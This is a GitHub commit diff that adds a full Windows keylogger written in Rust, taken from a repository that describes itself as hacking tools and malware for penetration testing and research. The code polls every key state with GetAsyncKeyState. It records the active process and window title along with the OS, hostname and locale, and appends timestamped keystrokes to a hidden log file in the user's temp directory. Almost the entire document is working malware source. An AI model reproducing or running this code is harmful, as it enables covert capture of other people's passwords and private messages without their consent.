Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Create main.rs

Abdul Wahab Junaidce3a78950a9c
diff --git a/Rust for Hacking/Keylogger/src/main.rs b/Rust for Hacking/Keylogger/src/main.rs
new file mode 100644
index 0000000..fe6615b
--- /dev/null
+++ b/Rust for Hacking/Keylogger/src/main.rs
@@ -0,0 +1,527 @@
+/*
+ Keylogger in Rust.
+ Log Path: C:\Users\{username}\AppData\Local\Temp
+
+ For More codes https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ By @5mukx
+*/
+
+use std::fs::OpenOptions;
+use std::thread;
+use std::time::Duration;
+use chrono::prelude::*;
+use std::io::Write;
+use std::fs::File;
+// use sysinfo::{System, SystemExt};
+// use winver::WindowsVersion;
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("[!] {}", format!($msg,$($arg),*))
+ };
+}
+
+fn header_file(file: &mut File){
+ // Recieving System Information.
+ // let version = WindowsVersion::detect().unwrap();
+ let os_info = {
+ let info = os_info::get();
+ format!("OS: type: {}\nVersion: {}\n", info.os_type(), info.version())
+ };
+ log(file, os_info);
+ let hostname_wrap = hostname::get();
+
+ if hostname_wrap.is_ok(){
+ log(file, format!("Hostname: {:?}\n",hostname_wrap.unwrap()));
+ }
+ else{
+ log(file, format!("Hostname: {:?}\n", "NIL"));
+ }
+}
+
+// log function . This is where you write your keys into this !
+fn log(file: &mut File, s:String){
+
+ // For Testing Uncomment to see the output
+ #[cfg(debug_assertions)]{
+ print!("{}", s);
+ }
+
+ match file.write(s.as_bytes()){
+ // Err(e) => error!("Unable to write log file, Error: {}",e),
+ Err(err) => error!("[-] Unable to write key to log file, Error: {}",err),
+ _ => {}
+ }
+
+ match file.flush(){
+ Err(err) => error!("[-]Unable to get Log Files {}",err),
+ _ => {}
+ }
+}
+
+fn key_notes(k: u8, is_shift_or_caps: bool)-> String{
+
+ // if (k >= 65 && k <= 90) || (k >= 48 && k <= 57) {
+ // // If shift is pressed, return uppercase, otherwise return lowercase
+ // if is_shift_or_caps {
+ // return format!("{}", (k as char).to_ascii_uppercase());
+ // } else {
+ // return format!("{}", (k as char).to_ascii_lowercase());
+ // }
+ // } else if k >= 97 && k <= 122 {
+ // // If shift is pressed, return uppercase, otherwise return lowercase
+ // if is_shift_or_caps {
+ // return format!("{}", (k as char).to_ascii_uppercase());
+ // } else {
+ // return format!("{}", (k as char).to_ascii_lowercase());
+ // }
+ // }
+
+ // Trying something new !
+
+ match k {
+ // Alphabetic characters
+ 65..=90 => {
+ if is_shift_or_caps {
+ //return uppercase
+ format!("{}", (k as char).to_ascii_uppercase())
+ } else {
+ // return the lowercase
+ format!("{}", (k as char).to_ascii_lowercase())
+ }
+ }
+ // Numeric characters
+ 48..=57 => {
+ if is_shift_or_caps {
+ // Special characters corresponding to numbers when Shift is pressed
+ match k {
+ 48 => ")",
+ 49 => "!",
+ 50 => "@",
+ 51 => "#",
+ 52 => "$",
+ 53 => "%",
+ 54 => "^",
+ 55 => "&",
+ 56 => "*",
+ 57 => "(",
+ _ => unreachable!(),
+ }
+ .to_string()
+ } else {
+ format!("{}",(k as char))
+ }
+ }
+ _ => {
+
+ // MSDOS -> https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
+ // Needs some Improvement on this special keys ... Plase be patient while i complete each one manually ;).
+ match k {
+ // LEFT MOUSE BUTTON
+ 0x01 => { "LEFT_MOUSE_BUTTON".to_string() }
+ // RIGHT MOUSE BUTTON
+ 0x02 => { "RIGHT_MOUSE_BUTTON".to_string() }
+ // Cancel
+ 0x03 => { "CANCEL".to_string() }
+ // Middle Button (three-button mouse)
+ 0x04 => { "MIDDLE_MOUSE_BUTTON".to_string() }
+ // X1 mouse button
+ 0x05 => { "X1_MOUSE_BUTTON".to_string() }
+ // X2 mouse button
+ 0x06 => { "X2_MOUSE_BUTTON".to_string() }
+ // F1 key
+ 0x70 => { "F1_KEY".to_string() }
+ // F2 key
+ 0x71 => { "F2_KEY".to_string() }
+ // F3 key
+ 0x72 => { "F3_KEY".to_string() }
+ // F4 key
+ 0x73 => { "F4_KEY".to_string() }
+ // F5 key
+ 0x74 => { "F5_KEY".to_string() }
+ // F6 key
+ 0x75 => { "F6_KEY".to_string() }
+ // F7 key
+ 0x76 => { "F7_KEY".to_string() }
+ // F8 key
+ 0x77 => { "F8_KEY".to_string() }
+ // F9 key
+ 0x78 => { "F9_KEY".to_string() }
+ // F10 key
+ 0x79 => { "F10_KEY".to_string() }
+ // F11 key
+ 0x7A => { "F11_KEY".to_string() }
+ // F12 key
+ 0x7B => { "F12_KEY".to_string() }
+ // F13 key
+ 0x7C => { "F13_KEY".to_string() }
+ // F14 key
+ 0x7D => { "F14_KEY".to_string() }
+ // F15 key
+ 0x7E => { "F15_KEY".to_string() }
+ // F16 key
+ 0x7F => { "F16_KEY".to_string() }
+ // F17 key
+ 0x80 => { "F17_KEY".to_string() }
+ // F18 key
+ 0x81 => { "F18_KEY".to_string() }
+ // F19 key
+ 0x82 => { "F19_KEY".to_string() }
+ // F20 key
+ 0x83 => { "F20_KEY".to_string() }
+ // F21 key
+ 0x84 => { "F21_KEY".to_string() }
+ // F22 key
+ 0x85 => { "F22_KEY".to_string() }
+ // F23 key
+ 0x86 => { "F23_KEY".to_string() }
+ // F24 key
+ 0x87 => { "F24_KEY".to_string() }
+ // K key
+ 0x08 => { "K_KEY".to_string() }
+ // TAB key
+ 0x09 => { "TAB_KEY".to_string() }
+ // CLEAR key
+ 0x0C => { "CLEAR_KEY".to_string() }
+ // ENTER key
+ 0x0D => { "ENTER_KEY".to_string() }
+ // SHIFT key
+ 0x10 => { "SHIFT_KEY".to_string() }
+ // MENU key
+ 0x12 => { "MENU_KEY".to_string() }
+ // PAUSE key
+ 0x13 => { "PAUSE_KEY".to_string() }
+ // CAPS LOCK key
+ 0x14 => { "CAPS_LOCK_KEY".to_string() }
+ // IME Kana mode, Hangul mode, or Hangeul mode
+ 0x15 => { "IME_MODE".to_string() }
+ // Junja mode
+ 0x17 => { "JUNJA_MODE".to_string() }
+ // Final mode
+ 0x18 => { "FINAL_MODE".to_string() }
+ // IME Hanja mode or Kanji mode
+ 0x19 => { "IME_HANJA_KANJI_MODE".to_string() }
+ // ESC key
+ 0x1B => { "ESC_KEY".to_string() }
+ // IME convert
+ 0x1C => { "IME_CONVERT".to_string() }
+ // IME nonconvert
+ 0x1D => { "IME_NONCONVERT".to_string() }
+ // IME accept
+ 0x1E => { "IME_ACCEPT".to_string() }
+ // IME mode change request
+ 0x1F => { "IME_MODE_CHANGE".to_string() }
+ // SPACEBAR
+ 0x20 => { "SPACEBAR".to_string() }
+ // PAGE UP key
+ 0x21 => { "PAGE_UP_KEY".to_string() }
+ // PAGE DOWN key
+ 0x22 => { "PAGE_DOWN_KEY".to_string() }
+ // END key
+ 0x23 => { "END_KEY".to_string() }
+ // HOME key
+ 0x24 => { "HOME_KEY".to_string() }
+ // LEFT ARROW key
+ 0x25 => { "LEFT_ARROW_KEY".to_string() }
+ // UP ARROW key
+ 0x26 => { "UP_ARROW_KEY".to_string() }
+ // RIGHT ARROW key
+ 0x27 => { "RIGHT_ARROW_KEY".to_string() }
+ // DOWN ARROW key
+ 0x28 => { "DOWN_ARROW_KEY".to_string() }
+ // SELECT key
+ 0x29 => { "SELECT_KEY".to_string() }
+ // PRINT key
+ 0x2A => { "PRINT_KEY".to_string() }
+ // EXECUTE key
+ 0x2B => { "EXECUTE_KEY".to_string() }
+ // PRINT SCREEN key
+ 0x2C => { "PRINT_SCREEN_KEY".to_string() }
+ // INS key
+ 0x2D => { "INS_KEY".to_string() }
+ // DEL key
+ 0x2E => { "DEL_KEY".to_string() }
+ // HELP key
+ 0x2F => { "HELP_KEY".to_string() }
+ // Left Windows key (Natural keyboard)
+ 0x5B => { "LEFT_WINDOWS_KEY".to_string() }
+ // Right Windows key (Natural keyboard)
+ 0x5C => { "RIGHT_WINDOWS_KEY".to_string() }
+ // Applications key (Natural keyboard)
+ 0x5D => { "APPLICATIONS_KEY".to_string() }
+ // Computer Sleep key
+ 0x5F => { "COMPUTER_SLEEP_KEY".to_string() }
+ // Numeric keypad 0 key
+ 0x60 => { "NUMPAD_0_KEY".to_string() }
+ // Numeric keypad 1 key
+ 0x61 => { "NUMPAD_1_KEY".to_string() }
+ // Numeric keypad 2 key
+ 0x62 => { "NUMPAD_2_KEY".to_string() }
+ // Numeric keypad 3 key
+ 0x63 => { "NUMPAD_3_KEY".to_string() }
+ // Numeric keypad 4 key
+ 0x64 => { "NUMPAD_4_KEY".to_string() }
+ // Numeric keypad 5 key
+ 0x65 => { "NUMPAD_5_KEY".to_string() }
+ // Numeric keypad 6 key
+ 0x66 => { "NUMPAD_6_KEY".to_string() }
+ // Numeric keypad 7 key
+ 0x67 => { "NUMPAD_7_KEY".to_string() }
+ // Numeric keypad 8 key
+ 0x68 => { "NUMPAD_8_KEY".to_string() }
+ // Numeric keypad 9 key
+ 0x69 => { "NUMPAD_9_KEY".to_string() }
+ // Multiply key
+ 0x6A => { "MULTIPLY_KEY".to_string() }
+ // Add key
+ 0x6B => { "ADD_KEY".to_string() }
+ // Separator key
+ 0x6C => { "SEPARATOR_KEY".to_string() }
+ // Subtract key
+ 0x6D => { "SUBTRACT_KEY".to_string() }
+ // Decimal key
+ 0x6E => { "DECIMAL_KEY".to_string() }
+ // Divide key
+ 0x6F => { "DIVIDE_KEY".to_string() }
+ // NUM LOCK key
+ 0x90 => { "NUM_LOCK_KEY".to_string() }
+ // SCROLL LOCK key
+ 0x91 => { "SCROLL_LOCK_KEY".to_string() }
+ // Left SHIFT key
+ 0xA0 => { "LEFT_SHIFT_KEY".to_string() }
+ // Right SHIFT key
+ 0xA1 => { "RIGHT_SHIFT_KEY".to_string() }
+ // Left CONTROL key
+ 0xA2 => { "LEFT_CONTROL_KEY".to_string() }
+ // Right CONTROL key
+ 0xA3 => { "RIGHT_CONTROL_KEY".to_string() }
+ // Left MENU key
+ 0xA4 => { "LEFT_MENU_KEY".to_string() }
+ // Right MENU key
+ 0xA5 => { "RIGHT_MENU_KEY".to_string() }
+ // Browser Back key
+ 0xA6 => { "BROWSER_BACK_KEY".to_string() }
+ // Browser Forward key
+ 0xA7 => { "BROWSER_FORWARD_KEY".to_string() }
+ // Browser Refresh key
+ 0xA8 => { "BROWSER_REFRESH_KEY".to_string() }
+ // Browser Stop key
+ 0xA9 => { "BROWSER_STOP_KEY".to_string() }
+ // Browser Search key
+ 0xAA => { "BROWSER_SEARCH_KEY".to_string() }
+ // Browser Favorites key
+ 0xAB => { "BROWSER_FAVORITES_KEY".to_string() }
+ // Browser Start and Home key
+ 0xAC => { "BROWSER_HOME_KEY".to_string() }
+ // Volume Mute key
+ 0xAD => { "VOLUME_MUTE_KEY".to_string() }
+ // Volume Down key
+ 0xAE => { "VOLUME_DOWN_KEY".to_string() }
+ // Volume Up key
+ 0xAF => { "VOLUME_UP_KEY".to_string() }
+ // Next Track key
+ 0xB0 => { "NEXT_TRACK_KEY".to_string() }
+ // Previous Track key
+ 0xB1 => { "PREVIOUS_TRACK_KEY".to_string() }
+ // Stop Media key
+ 0xB2 => { "STOP_MEDIA_KEY".to_string() }
+ // Play/Pause Media key
+ 0xB3 => { "PLAY_PAUSE_MEDIA_KEY".to_string() }
+ // Start Mail key
+ 0xB4 => { "START_MAIL_KEY".to_string() }
+ // Select Media key
+ 0xB5 => { "SELECT_MEDIA_KEY".to_string() }
+ // Start Application 1 key
+ 0xB6 => { "START_APP1_KEY".to_string() }
+ // Start Application 2 key
+ 0xB7 => { "START_APP2_KEY".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xBA => { "OEM_1_KEY".to_string() } // OEM_1_KEY
+ // For any country/region, the '+' key
+ 0xBB => { "OEM_PLUS_KEY".to_string() }
+ // For any country/region, the ',' key
+ 0xBC => { "OEM_COMMA_KEY".to_string() }
+ // For any country/region, the '-' key
+ 0xBD => { "OEM_MINUS_KEY".to_string() }
+ // For any country/region, the '.' key
+ 0xBE => { "OEM_PERIOD_KEY".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xBF => { "OEM_2_KEY".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xC0 => { "OEM_3_KEY".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xDB => { "{".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xDC => { "OEM_5_KEY".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xDD => { "}".to_string() }
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xDE => { " ".to_string() } // Unused
+ // Used for miscellaneous characters; it can vary by keyboard.
+ 0xDF => { "OEM_8_KEY".to_string() }
+ // OEM specific
+ 0xE2 => { "OEM_102_KEY".to_string() }
+ // IME PROCESS key
+ 0xE5 => { "IME_PROCESS_KEY".to_string() }
+ // Attn key
+ 0xF6 => { "ATTENTION_KEY".to_string() }
+ // CrSel key
+ 0xF7 => { "CRSEL_KEY".to_string() }
+ // ExSel key
+ 0xF8 => { "EXSEL_KEY".to_string() }
+ // Erase EOF key
+ 0xF9 => { "ERASE_EOF_KEY".to_string() }
+ // Play key
+ 0xFA => { "PLAY_KEY".to_string() }
+ // Zoom key
+ 0xFB => { "ZOOM_KEY".to_string() }
+ // Reserved
+ 0xFC => { "NO_NAME_KEY".to_string() }
+ // PA1 key
+ 0xFD => { "PA1_KEY".to_string() }
+ // Clear key
+ 0xFE => { "CLEAR_KEY".to_string() }
+
+ // Default case for unhandled key
+ _ => { format!("UNKNOWN_KEY_{}", k) }
+ }
+ }
+ }
+
+}
+
+
+fn keylog(file: &mut File){
+ // we are using winapi only for this function alone so to avoid verbose, we are importing winapi's into this function only !
+ //-----------------------WINAPI-------------------------//
+ use winapi::um::processthreadsapi::OpenProcess;
+ use winapi::um::psapi::GetProcessImageFileNameW;
+ use winapi::um::winnls::GetUserDefaultLocaleName;
+ use winapi::um::winnt::PROCESS_QUERY_LIMITED_INFORMATION;
+ use winapi::um::winuser::GetAsyncKeyState;
+ use winapi::um::winuser::GetWindowTextLengthW;
+ use winapi::um::winuser::GetWindowTextW;
+ use winapi::um::winuser::GetWindowThreadProcessId;
+ use winapi::shared::minwindef::DWORD;
+ use winapi::ctypes::c_int;
+ use winapi::um::winuser::VK_SHIFT;
+ //-----------------------//////-------------------------//
+ header_file(file);
+
+ unsafe{
+
+ let locate = {
+ let length = 85;
+ let mut buf = vec![0 as u16; length as usize];
+ GetUserDefaultLocaleName(buf.as_mut_ptr(), length);
+ let mut len = 0;
+ buf.iter().enumerate().for_each(|(icm,cal)|{
+ if *cal == 0 && len == 0{
+ len = icm;
+ }
+ });
+
+ String::from_utf16_lossy(buf[0..len].as_mut())
+ };
+
+ log(file, format!("Location: {}\n",locate));
+ log(file, "\nKeylogs: \n".to_string());
+
+
+ loop{
+ thread::sleep(Duration::from_millis(10));
+ // To recieve keyboard and mouse input
+ let hwnd = winapi::um::winuser::GetForegroundWindow();
+ let pid = {
+ let mut p = 0 as DWORD;
+ GetWindowThreadProcessId(hwnd, &mut p);
+ p
+ };
+
+ let handle = OpenProcess(
+ PROCESS_QUERY_LIMITED_INFORMATION,
+ 0,
+ pid
+ );
+
+ // getting the process name and its exec path !
+ let process_path = {
+ let length = 256;
+ let mut buf: Vec<u16> = vec![0 as u16; length as usize];
+ GetProcessImageFileNameW(handle, buf.as_mut_ptr(), length);
+
+ let mut len = 0;
+ buf.iter().enumerate().for_each(|(icp, cen)|{
+ if *cen == 0 && len == 0{
+ len = icp;
+ }
+ });
+
+ let path = String::from_utf16_lossy(buf[0..len].as_mut());
+ if let Some(idx) = path.rfind("\\"){
+ path[(idx + 1)..].to_string()
+ }else{
+ path
+ }
+ };
+
+ // getting title name from Window
+ let title = {
+ let len = GetWindowTextLengthW(hwnd) + 1;
+ let mut t = "No_idname".to_string();
+
+ if len > 0{
+ let mut buf = vec![0 as u16; len as usize];
+ GetWindowTextW(hwnd, buf.as_mut_ptr(), len as i32);
+ buf.remove(buf.len() -1);
+ t = String::from_utf16_lossy(buf.as_mut());
+ }
+ t
+ };
+
+ let now: DateTime<Utc> = Utc::now();
+
+ let is_shift_pressed = GetAsyncKeyState(VK_SHIFT) & 0x8000u16 as i16 != 0;
+ // let is_caps_on = GetAsyncKeyState(VK_CAPITAL) & 0x0001u16 as i16 !=0;
+
+ for i in 0 as c_int..255 as c_int {
+ let key = GetAsyncKeyState(i);
+
+ if (key & 1) > 0 {
+ // you can remove the field if you find this unwanted info is bullshit !
+ // : :
+ let s = format!("[{:02}-{:02}-{:02}] |{}||{}| ({})\n",
+ now.hour(), now.minute(), now.second(),
+ process_path.trim(), title.trim(), key_notes(i as u8, is_shift_pressed));
+ log(file, s);
+ }
+ }
+ }
+ }
+
+}
+
+fn main(){
+
+ // Creates & Stores log on current running directory.
+ // let filename = "keycap.log";
+
+
+ // Stores log files on temp directory
+ // Log Path -> C:\Users\{username}\AppData\Local\Temp\keycap.log
+
+ let temp_path = std::env::temp_dir();
+ let filename = temp_path.join("keycap.log");
+
+ let mut output = {
+ match OpenOptions::new().write(true).create(true).open(&filename){
+ Ok(file) => {file}
+ Err(e) => {
+ error!("Coudlnt create Output file: {}",e);
+ std::process::exit(0);
+ }
+ }
+ };
+
+ keylog(&mut output);
+}